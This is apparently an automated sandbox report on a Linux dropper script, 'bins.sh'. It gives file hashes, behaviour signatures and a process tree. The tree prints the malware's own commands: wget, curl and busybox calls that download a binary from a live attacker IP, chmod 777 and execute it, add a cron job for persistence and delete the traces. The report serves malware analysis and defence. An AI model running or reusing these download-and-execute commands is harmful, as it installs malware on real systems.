Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 04:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    17bab3e7840a5a55ca1843505176c109

  • SHA1

    faa9c551105564e09251292dfb6f02aa111a3b68

  • SHA256

    af8129a0e0fc46b8d506c1b26cc449456595b5c1aa3d8357ea3ee8ef3de1f1e4

  • SHA512

    c5dfb0a9fbde5edbaf798ef76296c172cdf427f57b34e116a3fdc0a3b68f4d5220d3836736a6dcd6b6745fbddcf6d5d5c7bcde12f047482c05fe7aa49457a394

  • SSDEEP

    96:N+++3H3MgiBztvR/0EnZwNtvR/0ErJ+IiuDjI/E+3H3MgEpbgX:o+t5ZP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1472
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1473
        • /usr/bin/wget
          wget http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Writes file to tmp directory
          PID:1474
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/chmod
          chmod 777 tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • File and Directory Permissions Modification
          PID:1492
        • /tmp/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          ./tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1493
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1495
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1496
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1497
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1498
              • /bin/rm
                rm tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj
                2⤵
                  PID:1501
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/TIccmdyLhkgGI8VzwdIaaLmTeSRDs9Nek1
                  2⤵
                    PID:1504

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/tITEsgSkYyc0Qg6a7nW7S1mTL5nYbTgBNj

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.Ds3SZF

                  Filesize

                  210B

                  MD5

                  33165a11099312ac28f96d94758ea7e4

                  SHA1

                  61af02d8d1bb34f740cda47e47cc3969d4e001fe

                  SHA256

                  7b0cfe1b5ccfdfe34e25a7df0a9fbd8e6cf019e86f1bfdafadb6a28d3d72b7fc

                  SHA512

                  9c86f4aca5c9600b27f8594d23c2d99af674af00314695338a1adbeeb203c40252802c3df3530986ad4d13d5d4c253b1003c096e24d2373c150851a88ef6de29